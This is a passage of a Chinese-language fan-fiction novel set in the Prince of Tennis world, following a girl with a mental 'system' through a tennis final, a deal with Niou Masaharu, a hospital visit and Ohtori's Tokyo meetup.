人流量陆陆续续增加的运动公园,球场外喝彩声与呼喊声不绝如缕。
立海女网部队员报到过后,提前到了场地,等待对手的到来。
“那就是立海女网部吗?”
“听说是去年打进了关东大赛的队伍,今年分区预赛的名额这就直接少了一个了。”
“不好说,听说她们今年的正选有好几个国二的,保不齐就是机会呢。”
“但是今年分区预赛的其他学校水平也一般吧……”
球场外面响起悉悉索索的交流声响。
高野凉对早已习惯的闲话充耳不闻,戴着墨镜双手环胸,神情平静嘱咐众人做好热身运动。
立海这两年都能进关东大赛,分区预赛基本无需太过担心,稳扎稳打即可。
由于是立海的首场比赛,按照规则需要比完五场,一行人以摧枯拉朽的速度结束在分区预赛的首场比赛,又找了地方用餐。
从公告栏离开,高野凉特意找到夕浔。
半决赛与决赛都在下午举行,吃过午饭,夕浔正找了阴凉地倚在树木下避暑小憩,面前光线被遮住,熟悉的声音唤着自己的名字,她略显茫然地取下帽子,睁开眼。
“……部长?”
含糊的声音犹带着睡醒的喑哑,她视线有半瞬落在不远处空旷的球场上,又困惑眨眼。
球场空旷,烈日炎炎,没到下午两点,比赛应该还不急着准备。
高野凉遏制住自己内心想要揉夕浔头上翘起呆毛的想法,放缓声音:
“半决赛的对手我上午去看了,问题不大,但是决赛你有可能会遇到源叶中的本间芽依,要多加小心。”
本间芽依是源叶中学女网部的部长。这所学校去年止步于县大赛,但那只是源叶的综合实力问题,就本间个人而言,至少是具有关东大赛水准的选手。
去年在分区预赛对上源叶的时候,同本间芽依的比赛是她们唯一的败场。
而今年更换了新鲜血液的源叶实力比去年又上一层楼,值得重视。
之前她同教练商量的时候考虑过本间芽依,上午的比赛她出现在单打二,而刚刚公布的半决赛对战名单,她又出现在了单打三的位置。
她们猜不出决赛的时候对方具体会出现哪个位置,索性不打算猜了,单打一高野凉,单打二井上爱,单打三则是雾岛,至于碰到哪个,交给天意。
“本间……芽依?”夕浔无意识重复着这名字,眼神忽而微妙起来。
啊,如果是她的话——
不是可能遇到,是百分百。
在三个目前显示着的挑战对象中,本间芽依正是第三个。
之前系统说过了,在正赛遇到挑战对象的话,它会暗箱操作的。
同夕浔共享脑海的系统:……为什么宿主能把它的合理行为说得如此奇怪。
正被系统吐槽的夕浔神色秒变严肃:“学姐有什么技巧要教给我吗?”
“技巧倒称不上,不过她是左撇子,你之前没遇到过这类型的选手,如果真的遇到的话,要注意她的发球……”
这发球多少有点太厉害了。
持拍等待来球的夕浔目不转睛盯着本间芽依,脑子里想起赛前换算场区时想到的左撇子的优势。
按理来说,发球局里面,选手都是在场地靠近中线右侧先发球,一球得分即换左侧,右左右左轮换,右撇子通常能在右场区发出有利球,左撇子反之。
而每局比赛需要先赢四分且净得两分者才能拿下该局,每当双方战至40-40的平分时,则在右场区发球,故而右场区也被称为平分区。
举凡其中一方先得一分,来到决定该局胜负的关键分数时,除40-15在右场区发球外,40-0,40-30皆在左场区发球,故而左场区也称为占先区。
赛末点比分占先的情况下,赢下此分即可结束该局,左撇子选手在发球局的优势自是不必多言。
又是ACE球!
夕浔脚步慢了半拍,这球压在边线上,又弹射出去。
这个控球的精准度,太惊人了。
你们左撇子在网球比赛简直是开挂。
夕浔面无表情腹诽,余光落到边线上网球落点转出的白色痕迹,目光深了深。
在平直的发球中加入一点点切球的旋转,本来该从夕浔右手位出界的球,就这么偏移落点至界内。
除了发球的威力之外,由于施加的旋转和自己相反,本间打来的侧旋内角球也是相当棘手,极难用正手舒服地发力回击。
比分4-1。
场边围观的队员站在一起。
国二的浅间静香看着在教练旁边喝水的夕浔,语气担忧:“这样下去,雾岛不会被本间串烧吧?”
“6-1?”身为浅间双打搭档的千岛弥摇摇头:“应该不至于。”
堂姐千岛柚叶曾和她提起过雾岛,能从那样的家庭变故中走出来,她也不相信雾岛是那种会轻易言弃的人。
“看到雾岛学妹这么凝重的表情实在是不忍心呜……”森绘咬着酸奶吸管,嘟囔道,“要是本间对上爱酱或者高野多好。”
“……”
井上爱沉默。
井上爱无语。
井上爱暗戳戳给了森绘一个肘击,成功让森绘原地蹦起三尺高。
“痛痛痛!”
被夕浔这段时间反复缠着对练的森理倒是没有急于表态,反而淡定表示要离开去买水。
“哟~”闻言,高野凉俯首,墨镜随着这动作稍稍滑落到她鼻梁
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,她抬眼看向森理,唇角弧度带着浅淡的诙谐笑意,“你对雾岛倒是蛮放心的嘛。”
“嗯。”森理点头,无波无澜的青碧色眸子不知想到什么,泛起细微的涟漪,片刻后才道,“她实力不止如此。”
雾岛可怕的地方其实不在于硬实力,反而在于节奏把控和时机判断的能力。
接替井上爱陪着雾岛将那绝招磨练得愈发纯熟的森理对此深有体会。
不再多想,森理朝高野凉挥了挥手,离开了场地。
比分已经来到5-1,这场是夕浔的发球局。
继续被破发的话,就成实实在在的串烧了。
夕浔从口袋中掏出网球,分明已经打了六局,汗液浸湿了额前碎发,唇因渴水而微微发白,她神情却只有沉着如水的冷静。
她无声观察着自己的对手。
方才换场交错的时间,她已经发现,本间的体力在天气加成下,消耗得非常快。
虽然在本间的发球局多是以强力的ACE夺得比分,但一旦到夕浔的发球局,在她的有意操作下,每分都会反复拉锯多次。
这种快节奏强攻和慢节奏拉扯的频繁切换会更加消耗本间的体力和注意力。
夕浔收回视线。
抛球、跳跃、挥拍。
相当漂亮的外角发球。
本间芽依快步移动到场外,引拍回击。
对面肯定会打直线穿越攻击空档,在方才对局中自认摸清了对手套路的本间心想。
她正想回防,步伐迈开的同时,却发现那球已经越过球网,落地弹起。
这么快!
她倏然抬头,眼神惊异。
都第七局了,怎么可能还有这样的速度。
自己的脚步都已经慢了很多……
除非她一开始就没有使出全力!
身体上疲惫,但本间脑中的念头却闪得飞快。
沉迷在连下五局的胜利中,在对手同步放慢的回击当中,还以为对面耐力不足,不知不觉就忘记了身体的消耗,才会在此刻觉得雾岛恢复正常的球速突然加快。
思及此,本间芽依内心不体面地爆出一句粗口。
雾草!
太会演了吧。
深陷吐槽而不自知的夕浔听着裁判报分,干渴得舔了舔唇,喉咙发痒,刚才喝下去的水估计已经全部蒸发完毕了。
这个时候要是能喝一瓶冰饮料,不敢想象有多……
爽。
森理灌下一大口汽水,冰凉的液体直抵胃部,浑身的热意都熄了下去。
惬意得她直眯起眼。
拿着饮料,正想要找个地方休息的森理随手绕转着网球拍,不断搜寻着长椅试图落座,眼角余光瞥到某个人,却愣住片刻。
那人挺眼熟,谁来着……
噢,男网部的仁王雅治。
奇怪——
他怎么会来看女网的比赛?
20.钦佩
仁王雅治完全称得上是心血来潮。
优秀的欺诈师当然善于模仿不同的对象,上到八旬老太,下到十岁小孩,只要通过细致的观察,捕获对方的外貌和神态特征,他就能够仿得像模像样。
因为明天就有比赛,今天部里的训练量没有那么重,他难得有功夫出来四处溜达,观察不同的人群,没想到这一走就不自觉走到了明天要比赛的地方。
来都来了,听说女子团体组的决赛正在打,恰好都是立海的,他就去观赛支持下。
比分板上源叶比立海5-2的差距让他微微眯起了眼睛。
落后?
他视线回到场上,却发现压根不是这么回事。
本该落后的人正奋起直追,而占据先期优势的对手却神色沉重。
再细看之下,他又觉出几分熟悉。
这不是,切原的同桌吗?
上次不是才加入女网部没多久吗,这就成正选了?
“puri~”仁王眸中掠过抹若有所思,干脆找了个树荫底下的地方观战。
场中,夕浔以迅雷不及掩耳之势连下三局,将比分拉到5-4后,迎来了本间的反攻。
本来在方才的对局中,她已经逐渐适应了本间发球的旋转,发球威力逐渐下滑的本间也抵挡不住她的强势反攻,只是现在……
“要赢过我……”本间芽依高高跃起,用力挥拍,一个强有力的扣杀瞬间得分,她勾出个笑,嘴下不留情,“你还要加油啊。”
恢复得真快。
夕浔不为所动,盯着对手往回走的背影,雾蓝色眸子浮现思索之色。
这局得分相当艰难。
夕浔在之后的时间有意减少打高球的频率,着意封锁本间的扣杀,本间也不甘示弱,两人在漫长的拉锯中,体力不断下降。
终于在某次夕浔占先,本间打出上旋球后,夕浔出其不意打出流影,才结束了这局。
“方才那是……”本间望着滚落停止的小球,微微皱眉。
都赛末了才使出来,藏得真好。
不过——
她手指抓了抓网线,望着球场那边的对手,抿唇不发一言,只有目光逐渐深邃。
藏着的也不只是她对手。
“弦截击!”
本间双膝微曲蓄力,右手虚按拍喉,在来球从地面弹起的那瞬间,不待球做出变化,球拍便猛然自下而上斜切,使力将球击回。
黄色小球在空中划出残影轨迹,迅速落地,丝滑顺畅如月弦。
夕浔追赶不及,微微睁大眼。
好漂亮的截击球。
两人不断轮流得分。
本间试图封锁夕浔使用流影,夕浔则努力拉长战线,不让本间能追赶上球。
打出弦截击的前提是本间需要有一定的启动时间,频繁的左右调动,能尽量减少本间用那招回球的可能。
“这么看,这不是成了谁先攻破对方的招数,就结束比赛的拉锯了吗?”浅间静香问出关键。
“貌似是这样喔。”森绘舔着森理带回的冰淇凌,表情却轻松,“不过没关系,雾岛学妹看起来应该快成功了。”
黄色小球再度在空中划出优美的弧线,夕浔却没有再等在原地,而是快步跑上前,纵身一跃而起,球拍高扬。
扣杀?
她的弦截击刚过网时的高度不到足够打回扣杀的程度,即使勉强成了,威力也不强。
本间芽依脑中飞快闪过各种念头,脚步后撤,正打算应对威力不强的杀球,却见对手跃至高点时,手腕忽而外翻,拍面高度骤然下降。
球拍触球刹那,她腕关节轻颤,原本汹涌的力道仿佛在顷刻间尽皆卸去。
那个姿势……
靠,上当了!
本间心中暗骂不妙。
下一秒,小球已经触地。
而后如露珠滚荷,顺着沥青地面无声滑出。
本间芽依甚至顾不上痛惜失去的分数,脚步钉在原地,茫然张了张嘴。
不是……
谁会跳起来满脸打杀球的样子打吊短球啊!
场外。
“哇,”浅间静香惊叹,“这也太帅了吧。”
“真是有趣的奇思妙想。”高野凉缓了半秒,才做出评价。
随着时间推移,仁王雅治原本漫不经心的神色逐渐褪去,在她纵身跃起后却打了短球的那刻彻底变成了欣赏。
出色的欺诈。
看来之前想模仿雾岛的想法,也可以找个时间试试。
说不定就有神奇的效果呢。
裁判哨声响起,宣告比赛结束。
仁王起身要走,双手插兜随意朝场内最后投去一眼,却忍不住微微怔住。
只见雾岛从空中落地,缓势收回球拍后,倏然抬眼,朝本间露出本场唯一的笑容。
亮银色的长发被发带高高束起,只有几缕发丝因为长时间的跑动窜了出来,是很漂亮的挑染般的蓝,带着凌乱的美感。
那双雾蒙蒙的眸子里少了方才冷静克制的深邃,少了生人勿近的疏离,沁出细微的笑意,又一点点随着唇角弧度漾开。
很轻快,带着自得的语气。
“前辈——”
“凡是招数,皆有弱点。”
“承让。”
自觉报复回那句“还要加油”的夕浔心平气和同本间芽依握手,场外的掌声从四面八方传来。<
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p>系统的提示音适时响起。
【恭喜宿主合法合规战胜挑战对象本间芽依,获得十天寿命,额外奖励积分二十四万。】
嗯?
夕浔讶异挑眉。
前段时间她几乎天天拉着森理学姐对练,已经摸出些规律。
积分只会在打正式完整的一盘比赛时才能获得,观众的多少会影响积分获取的数值。
但只有首次挑战森理时获得的最多,之后都是陆陆续续的几千几百积分。
她觉得这应该是像游戏任务奖励那样,只有初次完成才能获得最多。
但这个二十四万……
夕浔视线环视了场外半圈,观众确实比之前排位赛的多了一小半,但也不到两倍的数量。
她睫羽轻轻翕动,忽而回忆起初见时系统说过的收集能量。
悔恨值、憎恶值。
都是情绪能量。
如果观众多会影响积分的获取,就说明积分获得与情绪能量也脱不开关联。
但是这个人数不到那时的两倍,这次积分获取的数值又如何解释……
夕浔边想边往场外走,正碰见队友们满面笑容迎上来。
千岛弥将汽水递给她,还不忘调侃道:“可以啊雾岛,对前辈这么放狠话。”
冰凉的汽水治愈了打完漫长比赛的疲惫,运动带来的酸麻感后知后觉涌现,汗水沿着眉骨滑落,在落进眼睛前被夕浔险险用毛巾拭去。
果然,不管过了多久,运动还是这么辛苦。
她谢过千岛弥,拧开瓶盖的同时解释道:“我是瞧着赛末点才说的。”
不然输了多尴尬。
“我倒认为超酷的,”浅间静香在旁边笑眯眯补充,又扭头看向千岛,“弥酱不觉得那时候的雾岛看起来很有自信嘛,我一下子就被击中了。”
“那也是。”千岛弥点头肯定。
等等——
夕浔停下喝水的动作,从对话中圈出关键词。
放狠话?
难道与钦佩的情绪有关……
此前咬死不肯松口的系统突然“叮”一响,在她想到关键词时出声道:
【恭喜宿主成功解锁积分获取方式。】
【在运动世界里,人们将慕强心理展现得淋漓尽致,将追逐高处视为目标,请宿主再接再厉,提高自己,通过比赛不断获得更多的崇拜和热切的注视吧!】
【友情提示,适当时机的“宣言”更有利于加强效果哟~】
听着系统的话,夕浔面上无波无澜。
葱白指尖却忍不住一点点施力,攥紧了瓶子。
Bking——
不是,谁想出来的积分获取方式?
21.狐狸
尽管心里抗拒中二的念头已经攀到顶点,夕浔还是按下想法,同前辈们说自己离开一会。
高野凉叮嘱她注意在颁奖仪式前回来,到时候还要合影,她应了好,扭头就朝售货机走。
剧烈运动的消耗让她此刻心情燥郁,汗水湿透了运动衫,全身上下的神经细胞都在叫嚣着疲惫。刚刚喝下去的汽水只带来片刻的缓解,却远不足以弥补身体失去的水分。
系统在脑海中不断向夕浔宣传放狠话的好处。
【宿主,你这次只是说了一句这么短的话,就额外加了好几万积分,多来几次的话,积分的获取就会变得十分可观。】
无事献殷勤。
夕浔选好商品,将硬币投入自动售货机,神情淡淡。
【有了积分,训练室无痛训练不是梦,有了积分,续命奇迹不是梦……】
售货机咔哒响了声,饮料应声落下。
她取出饮料,单手起开易拉罐拉环,猛灌下几大口后才有心情回应系统。
斩钉截铁、冷漠无情的拒绝:【不要,太中二了。】
听听系统给她安利的那些台词,“你还差得远呢”,“来吧,趁着风还没有停”,“我是要成为支柱的人”……
就算她不喜欢循规蹈矩,但也不能上来就当切原赤也啊。
天天说自己是王牌,像他一样被男网部副部长制裁吗?
虽然高野部长看起来不像强硬派,但bking要是失败,她的形象岂不是大受打击。
系统:【……】
不知道为什么,想到宿主如此在意自己的形象,一下子又和它之前对宿主的刻板印象呼应上了。
但这又给了系统启发,它换了个劝说方式:
【宿主,就算不念这些台词,你也可以自创宣言的,像这次的自我发挥,效果就十分拔群。】
欸?
夕浔眼神微动。
察觉到宿主有动摇的倾向,系统立刻加码:【早日攒够更多积分的话,就能够解锁系统商城更多的商品。】
【当宿主攒够百万积分的时候,系统将额外赠送宿主一次转盘抽奖机会。】
闻言,夕浔神色平静将易拉罐放下。
系统见她不为所动,差点都急起来了,却不料下一秒她就取出手机,登上网购平台,手指熟练操作,不到半分钟的时间就将购物车里面的哲学书籍全部下单付款。
这操作迷惑了系统,它出声:【宿主?】
退出APP并清空后台,夕浔放下手机,解释道:
【我这是在从习惯中汲取灵感。】
【哲学,一个听起来就神秘无比的学科,随便两句台词,就能让人不明觉厉。】
【比起系统你不知道哪里复制粘贴来的台词,自然是量身定制才更符合我的形象。】
系统:【……】
前有医院看书,后有球场语录,到底是它小瞧宿主了。
甚至它都怀疑宿主是故意的。
夕浔倒是毫不犹豫承认,虽然她有拖延时间骗系统掏奖励的成分,但系统也有诱哄她使用中二宣言以获取情绪能量的不良用心。
【我以名誉为代价,要点奖励怎么了。】
【我们分明是各取所需。】
系统沉默。
系统认可。
系统果断改口:【宿主说得对。】
同系统谈定条件,夕浔正弯腰想拿回饮料,眼前突兀掉下片树叶。
她抬头看去,就发现绿叶葱郁掩映的枝干间坐着个人。
那人银白色头发扎着个小辫,左腿曲起,一手托腮,右手上正把玩着个钥匙扣,本来应该是在享受午后惬意的闲暇时光,瞧她发现了自己,似乎有些意外。
但他很快勾出个笑,朝她招了招手,声调熟悉的散漫:
“嗨,雾岛~恭喜你赢了比赛。”
“仁王学长?”夕浔颇为意外,“谢谢,我记得男网部的比赛是在明天。”
“puri~没错。”仁王雅治掌心倏然合拢,握紧钥匙扣,从树上轻盈跃下。
他动作太过突然,连带着黑色西装外套在他身后翻飞出帅气的弧线,微微晃动的树梢簌簌落下数片绿叶,被他满不在意用手拂去。
夕浔没弄懂这位陌生前辈的意图,迟疑问了句:“学长你这是?”
“本来想有机会遇见再说的,没想到这么巧~”仁王雅治在夕浔放饮料的长椅上坐下,懒洋洋笑道,“雾岛,有兴趣做个交易吗?”
“扮成我的样子?”
夕浔虽然听同桌提过这个前辈喜欢模仿别人恶作剧和比赛,但那都是男选手,什么时候他已经连女生都开始模仿了。
“本来我模仿的时候是不会征询本人意见的……”说这话时,仁王雅治半点都不心虚,“不过我想雾岛可能会介意,所以,你觉得呢?”
仁王没有说谎,他模仿时通常是不会征求被仿对象意见的,毕竟他是凭实力模仿,网球的事,怎么能算是偷呢。
但这个学妹却不太一样,初见时她暗含警告的目光给他留下了太深的印象,始终没法肆无忌惮放开手脚,既然正好遇到了,那就问问。
如果失败了……
那就仿个七八成。
她可能会介意?
他哪来的感觉?
夕浔心中奇怪,垂眸回忆半秒,脑海中闪现两人初次见面时的画面,恍然明悟。
噢,是那个啊。
她那会只是习惯性地对前辈装下恭敬,也许是被他看出来违心后就误会了。
不过他那时就有这种想法了吗?
还真是歪打正着。
戳了戳系统,夕浔问道:【仁王是我未来的挑战对象吗?】
系统看了看后台信息:【不是,但同仁王交好,宿主能学到很多东西。】
“行啊。”得到系统回复的夕浔干脆应下,重新取出手机,“那前辈,加个联系方式吧。”
仁王雅治本来做好了再磨一会的准备,对她这异常爽快的态度反倒害怕有诈,眉骨微挑:“那雾岛有什么需要我帮忙的吗?”
“暂时没想到,我哪天想到了,就同前辈说。”夕浔加了对方的联系方式,想了想又补充道,“如果真干了坏事的话,记得和我说一声,免得我全无准备。”
毕竟仁王雅治看上
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去就像是会用脸招摇撞骗……啊不招猫逗狗的样子。
“放心好啦~”诧异于夕浔远比看上去好说话的仁王得到了保证,终于不怕有陷阱,连语气都带了细微的戏谑,“用雾岛的脸庞,我可不敢干坏事。”
他可没忘记刚才她因为对手一句话,表面上无动于衷,赛后又回应回去的行为。
真被她报复怎么办。
凑近了看,夕浔发现原来仁王雅治的发色不是纯粹的银白色,而是浅淡的银蓝色,玩味笑着的时候唇边的小痣随之微动,十足痞帅的气质却穿着正经的校服西装,整个人散发出分外反差的吸引力。
“我很好奇一个问题。”
饮料还没喝完,隔壁场的比赛也还没结束,夕浔寻思着颁奖仪式还要过上一会才开始,也就耐心坐了下来。
“如果能够在场上打出别人的招式的话,其实也可以不用非要模仿成对方的模样吧,场上变装不是会增加额外的负担吗?”
早就听切原说仁王很擅长一秒变装的夕浔觉得这实在是件奇事,但就算不考虑如何瞒天过海丝滑切换,光是带上假发和变装道具,还要隐藏好,也很花功夫。
每次训练完都累到只想原地躺平的夕浔想不通他这么做的理由。
从没想过会有人从这个角度提出问题的仁王愣了下。
她说这话的态度太自然了。
本来疏离冷淡的眉眼微微垂下眼睫时会显出分柔和的沉静,周身气质本来就与灼热的天气形成鲜明对比,手指抵着下颌,认真思考的模样让人不自觉就会放松警惕、软下语气。
明明看着像乖巧后辈的模样,偏偏对前辈又只有假意恭敬。
对他说如果用她的脸干坏事的态度也不是拒绝,而是说事后支会声让她有点准备。
说起变装第一反应也不是这样在恶作剧上的效果更强,反而是对体力的额外消耗。
实在是,太有意思了。
不知想到什么,仁王雅治从喉咙溢出声笑。
随着时间推移,他唇角弧度一点点扩大,磁性低沉的嗓音在胸腔共振,颤得他压根止不住笑。
好半晌仁王雅治才停下,假装正经解释道:
“姑且当作,本人的爱好吧。”
“如果能够更好地迷惑对手,看到对手露出不可置信的表情,是非常有趣的事情。”
“相比较之下,在体力上的那点消耗也是可以接受的负担。”
原来是这样。
网球,尤其是网球比赛,是相当考验心态的事情,但凡对手因为他的伪装而心有动摇,就会对比赛的走向产生相当大的影响。
不过,仁王的恶趣味应该也是强大的动机。
隔壁球场传来的欢呼声和喝彩声打断了夕浔的思考,她不置可否站起身,仍维持着礼貌模样,同他道别。
出来找人的森理远远发现夕浔的身影,停住脚步正想叫人,却在她直起身后又注意到长椅上的仁王雅治,话语便在舌尖吞了回去。
瞧着两人过近的社交距离,森理不禁微微眯起眼,牙齿无意识磨了磨。
啧。
男网部的狐狸,果然不安好心。
22.健康
参加完并不算严格意义上的颁奖仪式,众人散场回家。
森理不清楚夕浔和仁王之间的关系,也没有开口询问。
她背上网球包,正打算喊姐姐回家,扭头却发现森绘已经上前勾搭夕浔,笑嘻嘻道:“明天要不要和我们去玩呀?我最近发现了个超有意思的店!”
森理:“……”
夕浔有些惊讶,但想到自己明天的行程,还是婉拒。
[绝技天才:欸,有约了?!]
晚上,问出同样问题的丸井文太得到了同样的回答。
[雾岛夕浔:是的,已经同朋友约好去东京了。]
[雾岛夕浔:不过以前辈们的实力,应该很快就能结束比赛吧。]
[绝技天才:也是!那等之后的比赛再约你(得意.emoji),我的绝技可是超级酷的(墨镜.emoji)!]
[绝技天才:不好,文也那小子又缠着我玩了,我先撤啦。]
哭笑不得同风风火火的丸井文太说了再见,夕浔转头就打开了同凤的聊天框,同他确认明天见面的具体时间。
凤长太郎可能是在忙,隔了半个小时才出现。
[凤长太郎:不好意思!训练得有点晚,才看到消息。]
[凤长太郎:这个时间我可以的,到时候雾岛桑到公园后,我去接你,咱们先看完比赛再去参观校园,来得及。]
然后还不忘附上一张线路指引。
夕浔点开图片。
应该是临时手绘的路线图,但格尺刻出来的线条并不显得潦草,彩色笔备注写在旁边,详细到连在哪里可以搭几路车都标注了出来。
都称得上是份完整的攻略了。
夕浔给他比赞,想到两人见面应该已经是中午的事情,手指飞快敲击。
[雾岛夕浔:你们中午不用一起吃午饭的吗?]
[凤长太郎:我已经提前和部长说过了,没有问题的,。]
[雾岛夕浔:好。]
[凤长太郎:明天见。]
小狗开心.GIF。
夕浔手指在屏幕上微微滑动,眸中闪过片刻踌躇,最终还是将这个动图保存了下来。
不得不说,这个表情包实在太贴合凤君的气质了。
关上手机,夕浔照例做完今天的肌肉放松动作,洗完澡出来,发现手机屏幕又亮了起来,叮咚叮咚的提示音接二连三响起。
这个频率……
夕浔心中有了猜测。
[切原赤也:同桌同桌!]
[切原赤也:你有没有看到班主任在群里发的成绩表!]
[切原赤也:我这次英语过了及格线二十四分!!!果然你的押题超级靠谱,我老姐都答应给我买新出的球鞋了。]
开心转圈圈.GIF。
头发还带着湿漉漉的水汽,夕浔用毛巾缓慢汲着水分,在看到消息的时候还是忍不住勾了勾唇。
[雾岛夕浔:恭喜(点赞.jpg)。]
[切原赤也:感觉我现在充满了力量,不过最靠谱的果然还是那个……]
夕浔手中动作慢了下来,好奇打出几个字。
[雾岛夕浔:说来听听?]
[切原赤也:哎呀!就是咱们考前握的手呀!]
[切原赤也:丸井前辈都说了,考前找学霸握手,会有神秘的力量传递,能让人考运爆棚。]
[雾岛夕浔:……]
这只海带怎么什么奇奇怪怪的东西都信。
半晌,夕浔慢悠悠打字回复。
[雾岛夕浔:我觉得这个应该不是主要原因。]
客观来讲,她给切原的押题已经涵盖了这次考题百分之八十的内容,抛开作文这种还需要积累的题目不讲,他能取得这个成绩,完全是这段时间努力的结果。
[切原赤也:不管如何,接下来一段时间不用担心无法出赛的问题了,副部长也不会揍我了,感谢同桌!]
鞠躬.jpg。
夕浔忍俊不禁。
[雾岛夕浔:早点休息,你明天可别再迷路了。]
[切原赤也:嘿嘿,明天柳前辈带我!看我立海王牌横扫全场~]
[雾岛夕浔:OK,那祝你一切顺利。]
流年不利。
夕浔叹气。
新鲜出炉的检查报告没有显示异常,也正因此,夕浔被啧啧称奇的主治医生绕着转了一整圈,眼神简直像是在研究什么新奇事物。
“暂时没有发现问题,”穿着白大褂的医生扶了扶眼镜,拿着报告看了又看,语气严谨,“不过仍然需要定期复查。”
虽然雾岛的病情稳定,没有发病更是堪称不可思议,但也说不好这是什么奇特的发展,为了稳妥每隔一段时间都做检查,既能防止病情突然恶化,也能为医学观测提供样本。
“还有……”医生目光移到她肩膀处,放下报告,温声道,“受伤了的话,再去骨科看看吧。”
夕浔诧异抬头,对医生的敏锐感到惊讶,但旋即又点头应下,出了诊室就开始重新挂号。
“……是这样的。”夕浔简单描述了肩膀被撞伤的由来。
起因并不复杂,在电车上遇到小偷行窃,被她道破后,气急败坏的小偷临下车前狠狠撞了她一下。
开始并不觉得很难受,只是随着时间推移,有些
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隐隐作痛。
为了这点事消耗辛辛苦苦赚来的积分去兑换修复液自然是不划算的,正好来了医院,顺路挂个号也很方便。
应该庆幸是左肩膀,对训练影响应该不算很大。
夕浔苦中作乐想着。
挂着“秋田”名牌的医生听她提了原因,上手瞧了下情况,出声道:
“问题不算很大,我开些药你带回去外敷,如果平日有运动的话,这几天注意尽量不要动用左肩膀。”
夕浔应好。
秋田医生打开笔帽,正打算给她开处方单,护士却敲了敲门,喊他去处理下突发情况。
“麻烦稍微等一会。”
他留下这句话,就跟着护士离开了诊室。
既然医生这么说了,不想闲坐着的夕浔干脆站起来,在室内转悠了一圈。
骨科诊室不算很大,挂了个小黑板,摆着几个展示的人体关节模型,还有之前病人留下的CT图。
待夕浔回到办公桌前的时候,窗外的风忽而掀起纱帘,掠过檐台,将桌上没有压好的一沓资料呼啦啦吹飞好几张。
她弯腰下去捡起纸张,其中有一页散开的病历资料被上面的纸盖了大半,只显出个姓氏,夕浔顺势想要归拢纸张,视线不经意瞥过那姓氏时却怔了瞬。
“我来吧。”
秋田医生的声音恰好自身后响起。
走上前来的秋田医生同夕浔道了声谢,便从她手中接过资料,重新并好放回了桌子上。
拿着开好的处方取了药,夕浔走出医院时,兀自停下脚步,背着单肩包往回望。
系统最先察觉到她的异样,秉持着人道主义系统原则关切地问道:【宿主,怎么了吗?】
它还挺少在宿主身上感知到可以称之为“低落”的情绪的。
脑海中响起的机械音让夕浔回过神。
沉默半晌,她才扯了扯唇:“……没什么。”。
将近正午的阳光愈盛,闲散飘过的云朵短暂遮蔽了炎热日光,憧憧恍恍间,凝固了灼热的气浪。
她垂眸时浓密睫羽翕动,在鼻梁上投落出浅淡阴影,连声音也不自觉轻了几分。
骤起的风将那话语吹散了些,几乎难以被听清。
“只是遇见了熟悉的姓氏。”
手冢。
她倒是有个多年不见的朋友也是这个姓氏。
云层已经缓缓飘过,阳光再次明亮耀眼得让人想躲,夕浔迈开脚步,在脑海中重复了遍。
像是在回应系统,又像是在回应自己。
【没什么。】
哪会有那么巧合。
那人应该是,很健康的才对。
23.吃瓜
临近中午,分区预赛的男子团体赛暂告一段落,喧嚣的人潮顺着树荫的方向蜿蜒,直到在出口处分流。
运动公园门口,身材高大的俊朗少年频频低头看着手机讯息,不时引得行人注目。
银灰色头发的少年眼型是微微下垂的圆眼,背着网球包,即使在日光下等待许久也没见他有半分不耐,冰帝网球部灰白相间的正选队服穿在他身上既显出朝气,又透出温和纯良的气质。
比等待的人更早出现的反而是他的队友。
“好热好热!”
向日岳人以手作扇不断给自己扇风,直到快步走到门口,瞧见凤的身影,他才猛然刹住脚步,纳罕道:“欸,长太郎不和我们一起去吃饭吗?”
听到熟悉的声音,凤下意识回头看去。
见到是向日岳人后,他露出个腼腆笑容:“向日前辈,我已经和部长说过了,中午同人有约了。”
从容跟上来的忍足拍了拍向日肩膀:“昨天凤和迹部请假时你不在,咱们先走吧。”
迹部和榊监督还在场内给上午出场的部员做总结,他们先去的话还能够先点好单,到时候等人来了,用餐时间正好合适。
脑海中的吃瓜雷达疯狂作响,向日不肯立即离开,反倒像闻着腥味的猫扎住脚步,灰瞳亮晶晶的,狐疑又好奇道:“长太郎是在等女孩子约会吗?”
这,这也太直白了吧!
凤长太郎被向日的直球冲击得猝不及防,大脑真空了三秒,直到沸腾的热意攀上脸颊,又逐渐向耳根蔓延,他才慌乱摆着手回应:
“不,不是约会!”
“就是和一个来东京的朋友约好了带她看比赛和参观而已。”
这行程就算不是约会也差不到哪里去了。
发现凤的羞窘,感觉猜测成真的向日岳人忍不住大笑出声:“哈哈哈哈,这明明就是约会嘛。”
本还想着替凤解围的忍足侑士听到他的话也是惊讶抬眼。
根据他饱览纯爱小说和影视作品的经验分析,凤的反应可不像只是普通朋友的样子。
但注意到凤手足无措满脸想要解释的模样,忍足侑士还是扶了扶眼镜,口吻轻松:“好了岳人,应该只是凤的朋友,不要弄得太紧张。”
“好好好,是朋友……”
向日岳人笑容揶揄,明摆着没信,忍足朝凤长太郎无奈耸了耸肩,就打算把向日带走。
“铃铃铃~”
手机来电提示在屏幕闪烁,凤同两人歉意笑了下,手指滑动接通电话。
“对的……我现在在D门。”
“……好。”
简短的通讯结束,向日岳人秒改口风:“我和侑士先走,不打扰长太郎约会!”
“向日前辈,你误会了!”
“好好好,我误会了。”
凤长太郎:“……”
难得见到凤脸上出现放弃挣扎的神色,忍足喉咙几不可闻溢出声短促笑音,被他迅速掩唇收住:“好了,我们先离开,待会迹部该嫌我们太慢了。”
成功get凤感激眼神的忍足拉着向日走远,只是坐到餐厅开始点菜的时候,他才有闲暇思考起方才的走神。
凤打电话的时候,手机其实离得不算近,除了确认地址以外,他也没有听到什么实质性内容。
只是隔着电子屏幕传来的声音总让他觉得有几分熟悉。
“侑士侑士,你快看这个!”向日岳人兴奋拽着他衣角,看着新品的样图馋得双眼发光。
忍足思绪被打断,倒也不恼,只是抬手接过菜单,视线落到向日称赞的新品上面,唇角勾出抹笑。
“黑森林蛋糕么——”
凤认真聆听着侍应生的介绍,不时肯定点头,这真诚态度也让她的表达欲蹭蹭上涨。
“这是本店的招牌甜品,二位如果感兴趣的话,今天特价是八五折优惠。”侍应生尽职尽责推销完店内热门产品后,望着面前相貌养眼的男生和女生露出姨母笑。
哪来的一对壁人,还好她聪明机智让他们坐到窗边,赶着中午这个时段,肯定能为店里引流,到时候还能问店长要点奖励。
她适时将视线移向颜值堪称惊艳的女生,内心疯狂尖叫,面上微微含笑:
“情侣点餐的话,正好能赠送一小份黑森林蛋糕甜品呢。”
才怪。
不过是留客手段罢了。
但望着窗前翻看菜单的少女时,她的心脏又不禁怦怦跳动。
